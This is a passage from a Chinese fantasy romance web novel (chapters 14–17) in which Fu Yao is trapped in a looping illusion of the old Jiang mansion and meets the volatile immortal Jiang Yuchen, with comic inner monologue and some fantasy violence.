符窈和凤翎互飙高音。
对面山头的封池暂停扫地,掏了掏耳朵:“那俩是疯了吗,在这练嗓呢?”
符窈和凤翎没疯,但是快了……
凤翎虽然也慌得很,但她捅出来的篓子,她得去收拾,于是她拍了拍符窈的手,嘱咐道:“你在此地不要动,我先去看看。”
说罢,展翅就要往那边飞。
符窈连忙抓住了她:“别去!”
凤翎:“???”
符窈解释:“万一佚名兄的棺椁已经被人给发现了,你现在过去,不就相当于……”不打自招了么?
“那怎么办?”凤翎小声问。
符窈抿了抿唇:“我有办法。”
她拉着凤翎又坐了下来,之后,随机抓了一株草,对着其吩咐了一通。
话落之后,草草之间就像是递话似的一株附向下一株地接力,最后沿着山脉绵延不断舞起了长龙。
“哇!”凤翎捂嘴眼冒星光,激动地拍打符窈:“你这言灵好厉害!”
符窈抿唇浅笑,嗨,一般般~
等了几刻钟后,符窈的“斥候”打探完情报回来了。
只见其两片叶子先是合拢,完了往两边一摊。
符窈看图说话,声音就地劈叉:“不见了?”
不是,她那么大个佚名兄,不见了?
符窈再度向小草确认。
小草叶子往下弯了弯,接着又是合拢往两边一摊——没错,不见了,飞走了。
14. 躲不掉,根本躲不掉
“怎么会不见了……”
符窈一下子心慌了起来,赶紧又问小草:“他是怎么不见的?”
“对啊,他是怎么不见的?”凤翎也想问。
两人紧张地盯着底下这株草。
“斥候”小草停顿了一会了,紧接着开始比划。
它的两片叶子从弯曲状态瞬间挺直斜指向天——棺材盖和雪“嘭”地一下全飞了。
???
这什么意思?凤翎没看懂,转头看符窈求解答。
符窈也一头雾水,两片叶子指天是什么……双手举起来,不许动?
“有人挟持了他?”符窈惊讶破译。
凤翎听风就是雨:“好哇,光天化日朗朗乾坤,竟然有人干这种事?”
小草叶片疯狂摇摆,不是不是,它换了个动作,重新开始比划——
小草叶子全都倒向一边,然后开始抖啊抖——那个人气场特别吓人,他出来的时候大家都被吓得瑟瑟发抖装死不敢动。
怕符窈领会不到它的同类当时有多害怕,小草还特意加大了抖动的幅度——那个人超级、超级可怕!
然而,人和草的悲喜却并不相通……
符窈看着它摇,也跟着把手全都朝一个方向摆起了波浪,最后不太确定地开口:“就像一颗海草海草海草,随波飘摇?”
凤翎:“???”
小草:“???”
符窈自己也觉得有些离谱,大王的气势节节走低,最后朝小草举起一根手指头,请求道:“再来一次,再来一次我肯定能看懂。”
好的叭,小草抬起低垂的尖尖,再次重振旗鼓。
那人袖子一甩连人带棺就一块不见了,带起来的风把大家都吹得东倒西歪,就像这样这样——
小草举起叶子卖力地从左边摇到右边,又从右边摇到左边。
“那真是红旗招展、锣鼓喧天、鞭炮齐鸣、人山人海……”
符窈看着看着就念出来了,声音越念越低。
“……”
“…………”
全场沉默。
符窈抿了抿唇,不是这个啊……好吧,肯定不是这个!
啊啊啊短视频害她,她脑子好像有自己的想法……
符窈羞愧地低下了头。
凤翎却是还没有放弃,摩挲着下巴联系前后尝试破译:“有人无意中发现了,然后掀了他的棺材,之后叫来一大群人,连人带棺一块偷走了?”
掀棺材、连人带棺、走了……
关键词正确!
小草瞬间支棱起来,连连点头,没错,就是这样!
凤翎:“!!!”
符窈:“!!!!!”
破译成功了?
符窈和凤翎激动地看向对方,然后啪啪击掌庆祝。
“大翎翎你好聪明!”符窈崇拜星星眼。
凤翎咧嘴笑着摆手:“运气好运气好……”
不过——
凤翎:“现在要怎么办?”
两人面面相觑。
片刻后,凤翎带着符窈去了宗务堂。
凤翎:“我们才埋了几天就被盗墓的人给发现了,可见,那群盗墓贼肯定是老手。”
“你是说……他们很有可能作案了不止一起?”符窈一点即通。
凤翎点头:“没错,我们去翻一下卷宗,说不定能找到线索。”
两人头挨着头嘀嘀咕咕,分析得头头是道。
很快,她们便将近几年的卷宗全都找了出来,两人对坐着,中间堆了六七摞的卷宗,光是看着就头大如斗。
忽地,凤翎想起什么,趴在卷宗上凑了过来小小声地同符窈道:“还好你当初绑的不是仙尊,不然——”
“嗯?”符窈抬头,不然什么?
凤翎朝左右看了看,确定没人后,从储物袋里掏出了一本小册子塞给了符窈,让她翻开看。
“秘籍,一般人我不告诉她。”凤翎用唇语说得神神秘秘。
结果符窈低头一看封皮——《关于仙尊的一百个绝对》
“……”
唔,好眼熟……
“你居然买了?”符窈惊奇。
凤翎睁大眼睛:“你知道这个?”
“嗯,之前在灵犀镜上看到过人有卖。”符窈翻开册子,一条条看过去,越看越庆幸。
凤翎说得后怕不已:“如果是仙尊的话,只怕是掘地三尺也要把你给揪出来。”
符窈点头,深以为然。
这册子如果用她对佚名兄干的那些事来对照的话,她简直不亚于背了半本刑法……
还好佚名兄不是仙尊。
符窈拍了拍胸口,合起册子递还给了凤翎。
这一有了对比,瞬间就感觉幸福多了,连带着看见这堆成小山一样的卷宗都感觉可爱了起来。
两人分工,一人分了一半,眼下,还是找线索要紧。
别说,这一找,还真是让她们找到了十几起尸体失窃案,只是都是悬案,这线索找了好像没找一样……
符窈和凤翎相对无言,双双沉默了,很好,出师不利,调查一开始就陷入了僵局。
半响后——
凤翎握住了符窈的手,沉重道:“生死有命,富贵在天,我们已经努力了,脑力不足,这也是没有办法的事情,节哀。”
符窈叹气,点了点头:“我知道的,人总要往前看的。”
凤翎甚感欣慰,慷慨道:“你如果要给他盖庙的话,我捐三千。”
符窈反握住凤翎的手:“我替他谢谢你。”
说完,两人相视而笑,事情解决了耶~
果然,世上无难事,只要肯放弃,看看,这解决得多快?
两人把卷宗放了回去,手拉手准备离开宗务堂。
而就在这时,一个人火急火燎冲了进来,见人就问:“看见封池了吗?”
“他刚刚还在这外头扫地,怎么了,发生什么事了?”被他拦住的那人问道。
来人气喘吁吁:“我跟庄怜雪还有岁寒他们一块出任务,结果一进不归城没多久他们两个就不见了,我找了几天都没有找到他们,灵犀镜也联系不上,封池之前还特意拜托了我,让我多关照一下庄怜雪,我眼瞅着这指定是出事了,这不是赶紧回来告诉他么。”
符窈和凤翎齐齐顿步,这封池虽说是暗恋庄怜雪,但他暗恋得那是真挺明显的,估计整个月清宫的人都心里门清,没看么,刚才宗务堂里人听见封池托人照顾庄怜雪,那都没怎么意外呢。
不过,庄怜雪和岁寒怎么会不见了?符窈有些意外,原书里好像没有这段剧情……
“你刚才说什么,怜雪怎么了?”
封池站在门口,手中提着扫帚掉落在地。<
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p>通风报信的那人回身,连忙迎了过去:“可算是找到你了,我跟你说……”
没待那人说完,封池便闪电般地离开了,竟是片刻也等不及。
“走!我们也跟上!”凤翎当机立断。
符窈愣住,随后提步道:“那我回去准备一下。”
“准备啥呀,不用准备。”凤翎拖住了她,拍着胸脯道:“直接走就行了,放心,有事我肯定罩着你。”
直到和凤翎一块上了路,符窈还一阵恍惚,真……说走就走啊……
“我们……跟上去是要做什么?”符窈问。
凤翎耸了耸肩:“不知道。”
符窈:“???”
不知道?
那她们急吼吼地跟出来这是?
凤翎振振有词:“封池跑了,剩下的地长老岂不是只能逮着我一个人扫,那我肯定不能干啊,所以,他跑我也得跑,这样才公平,不过——”
凤翎转头朝符窈眨了眨眼:“我们可以去看热闹。”
符窈嘴角抽了抽,看封池英雄救美?
……
不归城。
庄怜雪和岁寒被困在了江家老宅,或者,更确切一点来说,是被困在了荒废前的江家老宅。
“一个个的动作都快点,今天少爷要回来,少爷爱吃的那些糕点都给我备好喽,若是出了差错,仔细你们的皮!”厨房的管事王妈妈站在门口叉腰道。
庄怜雪在厨房里揉面,耳朵听得都快要起茧,同样的话,同样的场景,她已经经历了七遍了,而那个所谓的今天要回来的少爷,从来就没有出现过。
她不停地在重复这一天,可说是重复,庄怜雪垂眸,她这几天悄悄刻在案板上的痕迹,却并没有消失……
整个江宅,就像是一个巨大的戏园子,背后创造出这一方幻境的人,不停地在让所有人重复地排演这一天。
据她观察,但凡是出了差错的人,第二天就会消失不见,庄怜雪不知道那些消失的人究竟去了哪,但估计是凶多吉少。
只靠她和岁寒两个人,硬碰硬根本就没有办法出去,更何况,她和岁寒还被分在了不同的地方,她根本就见不到他,更别提商量对策了。
庄怜雪捧着面点雕花,心下沉了又沉。
是夜,据说要回来的少爷依旧不见踪影。
午夜子时的钟声响起,戏剧落幕,满府重归寂静。
庄怜雪躺在下人睡的通铺上,心事重重。
几个时辰后,又将是重复的一天,可她却依旧没有寻找到任何破局的办法……
她闭了闭眼,寄希望于自己的预知梦。
终于,在连续几夜无梦之后,她又在梦中见到了未来的景象。
只是,符窈怎么也进来了……
“小姐,江家那位少爷今日就要回来,出门前老爷交代您的那些事情,您可都记仔细了?”符窈身边的嬷嬷一边帮其梳妆,一边提醒道:“这次与江家的联姻一事绝不容有失,老爷说过的,不管您用什么手段,都一定要拿下那位江家少爷。”
符窈嘴唇发抖:“江、江少爷他叫什么名字?”
嬷嬷:“江少爷名遇臣,字善渊。”
符窈一听,一口气没上来,整个人摇晃着就要昏过去。
而这天,门房的报信传遍了整个江府。
“少爷回来了!少爷回来了!”
15. 把江遇臣招来?
符窈和凤翎走在不归城的街道上,距离前面的封池,相隔不到十米。
忽然,封池脚步顿住,头往侧边偏了偏,这分明是要转身的节奏。
!!!!!
说时迟,那时快,符窈拉着凤翎飞快找了一个遮挡物,然后侧身,仰头看向街边正在滴水的屋檐。
哇,这个水滴又小又不圆,但是下落得好有韵律哦,嗯……让她来看看谁没有排好队。
符窈的眼睛一下子忙碌起来,心跳也咚咚咚,封池应该……没有发现她们吧?
“小窈窈,你在看什么?”凤翎跟着看了一会儿,不解地扶了扶自己的脖子,这样仰着头好累哦。
“我——”符窈抿了抿唇,用余光扫到封池又继续往前走了,警报解除,倏地松了口气。
她弯腰抱起凤翎,凑近了凤翎耳边小声道:“我们这样……是不是有点太光明正大了些?”
跟踪诶,难道不是应该偷偷摸摸的么?
就这样跟着,她一路上都好紧张,生怕被封池给发现了。
凤翎眨了眨眼,同样也凑到了符窈耳边,用手掩着道:“可是他早就发现我们了啊。”
什么!
符窈惊讶得睁圆了眼睛,已、已经发现了?什么时候?
那她刚才的S型走位……
符窈的脚底下又开始无声地动工了。
凤翎却是一无所觉,她拍了拍符窈的肩膀,示意要下去:“快快,他要转弯了,我们赶紧跟上!”
凤翎拖着符窈,一双小短腿倒腾得飞快,就跟踩了风火轮似的。
一个转弯过后,她们又光明正大地跟上了封池。
只是封池似乎也没有头绪,在这不归城里绕来绕去也没见他有什么发现,最后竟是又回到了城门附近。
凤翎和符窈快要跟着绕晕了,便在路边的茶摊处叫了一壶茶坐着休息。
符窈坐在长凳上,看向了前方不远处城门上的匾额,上面书着“不归”两个大字,字字深凿,笔锋苍劲却无端地透着一股悲凉之意。
符窈疑惑嘀咕:“为什么会叫不归城?”
不归这两个字,听着就好难过,就好像是在诀别一样……
卖茶的老婆婆听见,热心解答:“听说啊,这两个字,是善渊仙尊三千年前亲笔提的,放眼整个修真界可就这一处,别的地方都没有呢。”
老婆婆说得很是骄傲,符窈却是听得一愣。
竟是出自善渊仙尊……
“怎么了?”凤翎扯了扯符窈的袖子。
符窈回神,笑了笑:“没什么。”
就是……突然想起了原书中善渊仙尊的结局。
作为本书最大的反派,他一出场便位于顶峰,是所有人可望而不可及的存在,可这次醒来后,他整个人却变得越发的喜怒无常血腥嗜杀,大家都说他走火入魔了,为了修真界的安宁需得诛之。
可是他太强大了,即便血流成河,也没有人是他的对手。
他最后……
符窈望向城门上的那不归二字,怔怔地竟是又有些出神。
他最后……是自戕而亡的……
“善渊仙尊……”封池去城外绕了一圈又进来,听到老婆婆说的话,似是忽地想到了什么,飞快地朝城中某处掠了去。
凤翎坐凳子上,腿够不着地一荡一荡,原本荡得正开心,突然瞥见封池的动向,从凳子上跳了下来,拉起符窈就追:“快!他想要甩掉我们!”
两人一路追到了城东,最后,在一座宅子的拐角处停下,上下探出了两颗头。
只见封池站在这废弃的宅院前。
这宅子占地颇大,瞧着起码是个五进院,看得出来,从前住这的人绝对非富即贵,只是,这宅子不知是经历了多少年的风霜,如今只剩下了断壁残垣。
封池眉头紧皱,看那样子,竟是打算进去。
凤翎转过头来跟符窈吐槽:“他怕是想找人想得魔怔了,这样一个破宅子有什么好找的?”
符窈抿了抿唇,却是罕见的没有附和。
封池这人吧……是有点狗屎运在身上的……
虽然她也觉得一个破宅子没什么好找的,但是吧,放封池身上,就……还真是有点不太好下定论。
毕竟,那可是个能用两百灵石买到真合欢蛊的欧皇……
再者,在这样一个顶好的地段里,却有着这样一座荒废破败的宅子,仔细想想,也确实有些奇怪。
符窈对此持保留意见。
凤翎:“???”
伤心了,你居然不站我这边?
凤翎目露谴责。
符窈抬手揉了揉她的脑袋,转移话题道:“他进去了,我们也要跟着进去吗?”
凤翎摩挲着下巴想了想,道:“这里久不住人,里面搞不好阴森森的,你在外面等我一下,我进去看看就出来。”
符窈点了点头,倒是没有什么异议,主要……她对自己的胆量还是很有自知之明的,进去估计也只会拖后腿,还不如老老实实在外头等着。
眼看着凤翎飞上了墙头,符窈没忍住又嘱咐了句:“你记得小心。”
“知道啦,小窈窈。”
凤翎在墙头上挥了挥手,之后一跃而下,彻底地离开了符窈的视线。
两人都进去了,符窈一个人在外头百无聊赖,四处打量。
这处宅子外墙都斑驳得厉害,门头上的石匾也几乎被风给磨平了。
符窈仰头辨认了许久,才隐隐约约地认出了似乎有个江字。
“江宅?”
符窈呐呐,忽地又想起了城门江遇臣题的那不归二字。
这不会就是江遇臣的那个江宅吧?
原书虽没有描写江宅具体在哪,但据说,江家老宅可是被江遇臣亲手给付之一炬的……
符窈心惊肉跳,也不知是怎么了,她忽然有种不好的预感,不敢再站在正门前,连忙往原先站的拐角处走了去。
不过,这宅子虽然破败了,可那墙角的树却不仅还活着,而且还十分茂密,一大片枝丫从墙内探了出来,看着好像有些……
符窈一阵眩晕失去了意识。
再醒来时,是在一张柔软的床上。
符窈直觉不对立刻坐了起来,往四周一看,却是个全然陌生之地。
她心头发紧,陌生的环境让她感到格外的不安,这是在哪?
正疑惑间,“吱呀”一声门开了,重重垂帘外,几个人影缓缓靠近。
!!!
符窈犹若惊弓之鸟,抱着被子往里缩了缩。
她们是什么人?要做什么?
进来的几人分工明确,几个丫鬟模样的把重重遮挡的垂帘打向了两边,中间那个年长一些的,则是径直朝床这边走了过来。
她伸手拉开最后一层薄纱床帘,满是褶子的脸上笑着道:“时候已经不早,小姐您该起了,待会儿还要去见江夫人呢。”
什么小姐?什么江夫人?
她是被绑架了吗?
可……为什么这些人都好像认识她一样?
符窈一头雾水,感觉自己好像断了片又或是失了记忆。
她、她完全没见过她们啊!
符窈抱紧被子遮住脸,只露出了一双惊
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慌失措的大眼睛。
“你是谁?”一道闷闷的声音从被子里传了出来。
“小姐,您看您都睡糊涂了,我是陪您一块来江府做客的刘嬷嬷啊。”
说着,这个自称刘嬷嬷的人,一个用力将符窈身上的被子给扯了去,两手撑上床凑到符窈面前,双目空洞没有半丝生气,脸上却偏偏又挤出了满面的笑容来。
“小姐您该起了。”她重复道。
符窈瞬间毛骨悚然,她下意识地便想逃,可直觉却告诉她绝不能违逆,否则……否则定会面临什么可怕的事情。
她强忍着惊惧下了床,被丫鬟们伺候着洗漱完,又被这嬷嬷引去了梳妆镜前坐下。
刘嬷嬷一边帮其梳妆,一边问道:“小姐,江家那位少爷今日就要回来,出门前老爷交代您的那些事情,您可都记仔细了?”
符窈脑子有点快要宕机了,什么老爷?他交代了什么事情?她不知道啊。
好在这个问题似乎并不需要她回答。
紧接着这刘嬷嬷又道:“这次与江家的联姻一事绝不容有失,老爷说过的,不管您用什么手段,都一定要拿下那位江家少爷。”
符窈抓取到了关键词,江家少爷……
姓江……
一股不祥的预感,再次从心中升腾而起。
她的嘴角颤颤:“江、江少爷他叫什么名字?”
刘嬷嬷:“江少爷名遇臣,字善渊。”
符窈仿佛被一计重锤给砸中了,脑中似有声音在嗡嗡作响。
刘嬷嬷一把扶住了符窈的后背,似是警告:“小姐,您可坐稳了,这般行坐无状,如何能给江夫人留下好印象?”
符窈深呼吸,把自己从昏厥边缘给抢救了回来。
她想,她大概是进入到了个剧本杀之类的幻境。
江夫人早在三千年前就已经死了,如今哪里还有什么江夫人?甚至这座宅子也是假的,真正的江宅早就成废墟了,她还见过的。
摸清了一点底细后,符窈总算是放松了些,但,也只是一些些。
她还是好紧张,救命,社恐如她,根本就没有玩过什么剧本杀啊!
去见江夫人的路上,符窈不住地在心底哀嚎。
直到……她在江夫人所在的正堂外,见到了在这里站桩当护卫的岁寒。
符窈:“!!!”
岁寒:“!!!”
两人相视,俱是瞳孔一震。
但这个时候,显然不适合再去关心对方怎么来的。
趁着符窈在这等候下人进去通报的档口,岁寒捡了重点,压低了声音快速道:“一旦扮演得不合他们心意,很有可能会被拖下去处死,你扮的这个小姐七天换过三次人,不过第一天一般都没事,在这里呆的时间越长,人会渐渐失去神志形同木偶,只要江遇臣没回来,这一天就会无止境地重复排演下去,我目前知道的就这些。”
符窈仔细地接收着信息,不敢漏听一句。
好消息:她今天应该能够平安度过去。
坏消息:想要出去,似乎得把江遇臣给招来。
符窈:“……”
救命!她们这些人里面谁有牌面能把善渊仙尊给招来啊?
没看人家“不归”都挂城门了么。
除非……
除非他们中间有谁被江遇臣给锁敌了。
符窈抿了抿唇,虽然她曾经有那个机会,但!她自己到底作没作死,她还能不知道么?
于是,她第一个就排除了自己,之后默默将目光投向了岁寒,他倒是好像有这个潜力……
岁寒:“???”
16. 少爷回来了!
通报的人回来了,符窈移开了视线。
“余小姐,请。”
符窈颔了颔首,又捕捉到了一个信息,原来她扮演的这位小姐姓余。
默默记下,符窈深吸了一口气,提步踏入月洞门,待穿过弯折的回廊,再进入正厅时,江夫人被身边的丫鬟婆子逗得正开怀。
符窈往里头略了一眼,便垂下了目光。
好多人……
她捏着丝绢的手,隐隐沁出了些汗来。
一进门,屋内便瞬间安静了下来。
“见过江夫人。”符窈朝江夫人所在的方向行了个礼,只是声音却是囫囵成了一团。
符窈闭了闭眼,心中一阵懊恼,刚刚……没有清嗓子……
座上的江夫人笑了,同旁边的丫鬟打趣道:“瞧把余姑娘给紧张得,这说的什么,我都听不太清。”
丫鬟们的笑声随即起了一片。
符窈尴尬得头又压低了些,救命,被公开处刑了……
“行了行了,姑娘家脸皮薄,你们这群惯没规矩的,仔细别吓着人家。”江夫人佯怒,随后朝符窈伸手道:“快过来我看看。”
符窈硬着头皮走过去,将手递给了江夫人。
指尖触及掌心,和刘嬷嬷冰凉的手不一样,江夫人的手是温热的。
“在这里待的时间越长,人会渐渐失去神志,形同木偶。”
符窈蓦地想起了岁寒说的话,木偶没有温度,江夫人在这里待的时间应该不算太长……
悬着的心往下落了落,江夫人应该不会为难她。
只见江夫人拍了拍她的手,温声道:“咱这也不讲究那些个规矩,别紧张,就当是在自己家便是,说起来,你小时候我还抱过你呢,粉雕玉琢的一个小娃娃,可惹人稀罕。”
“这多年未见,早就听说余家姑娘出落得绝色倾城,快抬起头来让伯母看看。”
江夫人的声音亲切,就像是她曾见过的那些和蔼长辈一样,她能够清晰地感受到对方的善意,紧绷的神经得到了安抚,符窈依言抬起头。
出乎意料的,江夫人瞧着竟是年轻极了,皮肤光滑不见一丝皱纹,说是十八九岁的少女恐怕也有人信。
符窈愣了一下,旋即露出了她万能的微笑,心下暗暗好奇,也不知是因为这个扮演江夫人的小姐姐显得年轻,还是江夫人本来就年轻……
现场安静了好一会儿,一个个俱是盯着符窈的脸看,竟是呆了一般。
跟前几个姿色平平的比起来,新来的这个还真是……
众人的眼色变了变。
怎、怎么了?
符窈不明所以,松懈的神经又紧绷了起来。
“果真是名不虚传。”江夫人感叹,面色如常,握着符窈的手,却下了几分力道。
符窈吃痛,江夫人似才反应过来一般,松开了她,失笑道:“瞧我给激动的,余姑娘这细皮嫩肉都被我给按出红印子来了。”
“没事吧?”江夫人关心问道。
符窈摇了摇头,心下却微沉,不知为何,江夫人给她的感觉好像突然变了……
“看座。”
丫鬟搬来一个绣凳,放在了江夫人的左手边。
“坐吧。”江夫人身子微斜,手肘搭在了右侧的靠枕上,下巴示意符窈落座。
符窈回之以微笑坐下,心下却惴惴。
“余姑娘这般姿色过人,想必遇臣回来见了,定会眼前一亮的。”江夫人定定地看着她调侃。
符窈眸光微顿,搭在膝上的手攥了攥,是错觉么,江夫人好像……对她有敌意……
“瞧瞧,才说两句话,竟是又紧张了。”江夫人瞥了一眼她的手。
符窈连忙松开。
江夫人却又道:“遇臣那孩子,性情最是温良,余姑娘大可不必这般紧张。”
符窈嘴角抽了抽,江遇臣……性情温良?
“夫人您定是猜错了,余小姐这哪是紧张呀。”旁边的丫鬟轻笑:“奴婢虽没见过少爷喜欢过什么人,但像少爷那般的少年郎,若是真喜欢上了一个人,想必定会待其如珠如宝,余小姐这分明是激动的。”
“哦?”江夫人挑眉,看向符窈:“是么?”
符窈:“……”
按理来说,应该是、是吧……
符窈一违心就上脸,此刻脸涨通红,状似羞赧地低下了头。
救命!她们这样王婆卖瓜自卖自夸真的不会尴尬么……
许是因为看过原书剧情知道江遇臣是个大疯批,说实话,她真的很难想象,江遇臣那样的一个大魔头喜欢上一个人会是什么样子……
“我家遇臣……”
江夫人和丫鬟一唱一和的,又调侃了她许久。
符窈听得脚趾抠地,脸更是早就熟透成了红虾,要命的是,即便这样了,她时不时还得应和两句,短短半个时辰,感觉就像是过了一个世纪。
最后,终于!江夫人说她乏了,符窈如释重负,见状连忙起身告退。
可甫一出门还未走远,身边的刘嬷嬷就不悦了道:“小姐怎么这么快就出来了?江少爷回来第一时
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间定会来看江夫人,您不想办法在江夫人那待着,这么早出来做什么?老爷嘱咐您的事您都忘了?”
符窈归心似箭,听到这话,脚下猛地一顿。
她的心不住地开始往下沉,恍然间,突然意识到自己好像中计了。
刘嬷嬷虽然语气不好,但说的话却没错,依照她拿的这个剧本,按理来说,她本不应该这么早离开,可……
符窈转身回望,难道……她之前感受到的敌意不是错觉,江夫人她们是在故意引她出错?
可是……为什么?
符窈不解,这幻境又不是非要分你死我活,她和她们分明没有什么利益冲突。
符窈锤了锤胸口,忽地有些喘不过气。
岁寒说、岁寒说扮演一旦出错,会被拖下去处死。
那她现在……
符窈阵阵心悸,一下子红了眼眶。
她太笨了。
她真的太笨了。
她为什么会的这么笨!
“走吧。”刘嬷嬷冰冷的声音在耳边响起,随后推了她一把。
符窈一个踉跄差点栽倒在地,下意识地扶住旁边的柱子才险险站稳。
她的心情一下子跌到了谷底,死定了,这回肯定是死定了……
符窈不停地被刘嬷嬷推着走,想要反抗,身上却仿佛被降下了一道无形的力量,束缚着她只能清醒地往前,前方等待她的是什么,符窈不知道,也不愿去想。
她只想活着,可是聪明如岁寒,都在这里整整困了七日,她想要即刻想出脱困的办法又谈何容易?
更何况,她现在脑子一片空白。
符窈急出了泪花。
而也就是在这时,起风了……
忽然之间,晴朗的天空,竟是风云突变黑云压城滚滚而来。
目即之处正在一层层地变暗,而她身上的禁制,也仿佛因为另一股更为强势的力量到来而突然碎裂。
“少爷回来了!少爷回来了!”
门房的报信声越来越近,符窈眼见着那人从月洞门奔了进来,之后声音戛然而止,飞奔的人不见,地上砸下了一滩血,血液四溅,有几滴落到了符窈的鞋子上,浓稠的血滴,将鞋面上绣的白色花瓣染得嫣红……
符窈心中一惊,连忙紧靠着廊柱蹲了下来。
她不敢抬头看,只听落叶哗啦哗啦,似有人正在踩着走近,视线低垂间,一双玄色暗纹的靴子,在来人随风拂动的衣摆下若隐若现。
他视若不见地踩过了那滩血,最后,停在了符窈面前。
17. 暴躁仙尊
停、停下了?
符窈垂着的眼皮颤颤,之前那个报信的人说少爷回来了,那停在她面前的这个……
不会就是江遇臣吧?
一记惊雷在符窈脑中炸开,她眸珠微转,来人玄衣下摆处的暗纹入目清晰可见。
好近……
江遇臣苏醒了?
他怎么会来这里?
这到底是幻象还是真的本尊来了?
符窈恍恍惚惚,感觉自己的心脏就快要停摆,但很快,她一个激灵又清醒了过来,因为——
一道视线无声垂落……
虽没有去确认,但她对人视线的感知向来都不会出错。
江遇臣在看她。
得出的结论令符窈呼吸一滞,头皮发麻。
无声的压迫感蔓延,她却连一点情绪都窥探不到。
鞋上那报信之人的血迹还没有干透,下一个,不会是就要轮到她了吧?
不要啊……
疑似被列上死亡名单,符窈内心哀嚎。
但……敌不动我不动,她很擅长静止,在这命悬一线之际,符窈双手抱膝蹲在地上,既不出声,也不抬头看,安安静静得就像是个蘑菇。
看不看我看不见我……
符窈在心里念咒,毫不意外……没有起到丝毫作用。
身前覆下来了一道阴影,紧接着,一只骨节分明的手伸了过来。
符窈瞳孔地震,下巴处传来的冰凉触感,更是瞬间激得她浑身寒毛倒竖!
她被迫抬起头,江遇臣的模样随之映入了眼帘。
和佚名兄明显偏正派的长相不同,江遇臣眉眼间有些躁郁之气,他好像时刻都在不高兴,以至于那张惊心动魄宛如神祇的脸上,添了几分邪性,唔……一看就很反派。
暗沉的光影放大了江遇臣脸上的阴郁,此刻,他正眉头微皱打量着她,似乎是在确认些什么。
符窈被他看得大气都不敢喘一下,整个人绷得像根发紧的弦。
“你——”
江遇臣冰冷的视线恍若蛇吐信子,从符窈脸上一寸寸划过,最后冷冷开口:“我看着你,心居然会动。”
???
哈?
符窈顿住,懵逼地眨了眨眼,又眨了眨眼,她这是……被表白了?
好、好突然!
符窈有点不知所措,一时之间,竟不知该如何回应。
委婉拒绝?
头顶左侧冒出一个泡——
“我们不太适合,多谢喜欢,我相信你以后一定会遇到更好的人。”符窈微笑拒绝,并报以真心的祝福。
“既如此——”江遇臣有些失望,低垂下头,再抬起时,却忽然笑得渗人:“得不到,那就毁掉好了。”
“去死!”
江遇臣一声怒喝,符窈嘎了,死于爱而不得……
符窈:“!!!”
不行不行,她摇了摇头,把这方案否了。
就算拒绝得再委婉,江遇臣也有可会恼羞成怒,要不……还是先虚与委蛇?
顷刻间,头顶右侧又冒出一个泡——
符窈低垂着头,声音艰难:“其实……我见到你也会心动。”才怪!她那是被吓的!
江遇臣笑了,“既如此,那今天就是第一天。”
说罢,他俯身过来,作势要亲吻她,符窈下意识地闭了开。
刹那间,江遇臣脸色沉了下来:“你敢骗我?”
“我、我……”符窈不住后退,她没有想到,即便已经通了思想工作,最后竟还是败露在了能力上。
一生薄如透纸的她,根本就没有办法和人虚与委蛇!
索性已经被识破,符窈忽然破罐破摔爆发道:“你个杀人魔,就算得到了我的身体,也得不到我的人,我的心永远都不会屈从于你!”
“好,好得很!”江遇臣气笑了,啪啪给她鼓掌,然后忽然大怒:“那你就去死!”
于是,符窈又嘎了,死于演技不足……
符窈倒抽一口凉气。
不行不行,她猛地又一阵摇头,把这个方案也否了。
江遇臣在边上看得眉头紧锁。
一般人的思绪大都一闪而过,是以,他即便能够捕捉,也只能看到一些零星的画面,但眼前的这个人……内心活动显然极为丰富。
江遇臣的表情忽然有些古怪,不过,有一点她却是没想错,他的确是想杀了她。
不管是因为什么原因,他都不会允许这个世界上有够动摇他心神的人存在。
她能够想到自己的结局,虽然过程曲折离奇了些,但多少也算殊途同归。
就是……莫名地令人不爽。
江遇臣捏着她的下巴,面目忽然狰狞:“我现在想杀你,你怎么看?”
符窈愣住,什、什么?
她有点跟不上思路。
刚不还说看见她会心动么,这怎么又要杀她了?
男人,你变心变得好快……
符窈抬眸瞄了一眼江遇臣,心情复杂。
居然还问她怎么看?她左看右看上看下看!
江遇臣双眸微微眯了眯,这想的东西不成画面,他看不到,但看她的表情,显然是在骂人。
正想问,身后却传来了一阵急匆匆的脚步声。
“遇臣!”
是江夫人听道报信带着丫鬟出来了。
体内的炎火烧得江遇臣正是烦躁,他突然爆发:“本尊的名讳也是你能叫的?滚!”
说是让滚,可江遇臣却袖子一挥没给人机会,刹那间,血花四溅,一滩又一滩的血,在地上连成了副诡异的图案。
符窈被吓了一跳,几乎是瞬间摆正了自己位置。
或许,少年时的江遇臣的确性情温良,但现在站在这里的,是三千年后的善渊仙尊江遇臣。
如今的江遇臣残忍嗜杀,绝不是她能够招惹的。
她情绪本来就容易上脸,刚才竟还敢心生不悦,简直胆大包天不要命了。
符窈浑身颤栗,后知后觉地害怕了起来。
江遇臣处理完了打断他的那批人,又转过了头来问符窈:“你刚刚在想什么?”
符窈紧抱双膝摇了摇头,没、没想什么。
没想什么?
江遇臣不信,抬手又捏起了她的下巴,谁料,方才还敢朝他瞪眼的人,现在却是眸光颤颤着满目惊惧。
江遇臣微微怔了怔,瞥见地上蜿蜒而来的血,声音不解:“这有什么好怕的?”
说着,符窈却忽地又瑟缩了起来,瞳孔猛睁,火、起火了!
整个江府瞬间变成了一片火海。
“少爷你好狠的心呐……”
“救救夫人、快救夫人……”
“少爷求求您了,放过我们吧……”
火舌中似有人影死不瞑目地在奋力往外爬,他们声音呜咽着,随着火势的蔓延,一点点的朝江遇臣所在之地围拢而来。
符窈吓得往旁边靠了靠,可一想起旁边站着的是江遇臣,猛地又弹了开。
江遇臣皱眉,就没见过胆子这么小的。
一道微蓝的边界从两人脚底下扩散了开,里外被分隔成了两个世界,任其血流成河、火势滔天、哀鸣阵阵、白骨成堆,通通都被隔绝在了外面,溢不进来分毫。
现在总行了,江遇臣欲要再去问她,可符窈看着眼前的景象,却是又抽了一口凉气。
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她的心中爆鸣尖叫,那些人全都趴在结界上,结界上好多人脸,密密麻麻的,啊啊啊啊啊……
又怎么了?
江遇臣心生不悦,这人分明就是在得寸进尺。
符窈看见那些东西本就头皮发麻,这会儿又被江遇臣双目沉沉地盯着,雪上加霜,整个头皮就要炸裂开。
她的惊惧一下子到极点,前有狼后有虎,细思起来,好像还是江遇臣更可怕一点,他本来就想杀她,现在还将她困在了结界里,这下更好杀了……
符窈心如死灰,知道自己完全不是他的对手,连一丝反抗的心思都升不起来,她只觉此生暗无天日,无声的压迫感压得她快要喘不过气来。
符窈眼眶酸涩,眼角聚起了泪花。
“不许哭!”江遇臣敕令。
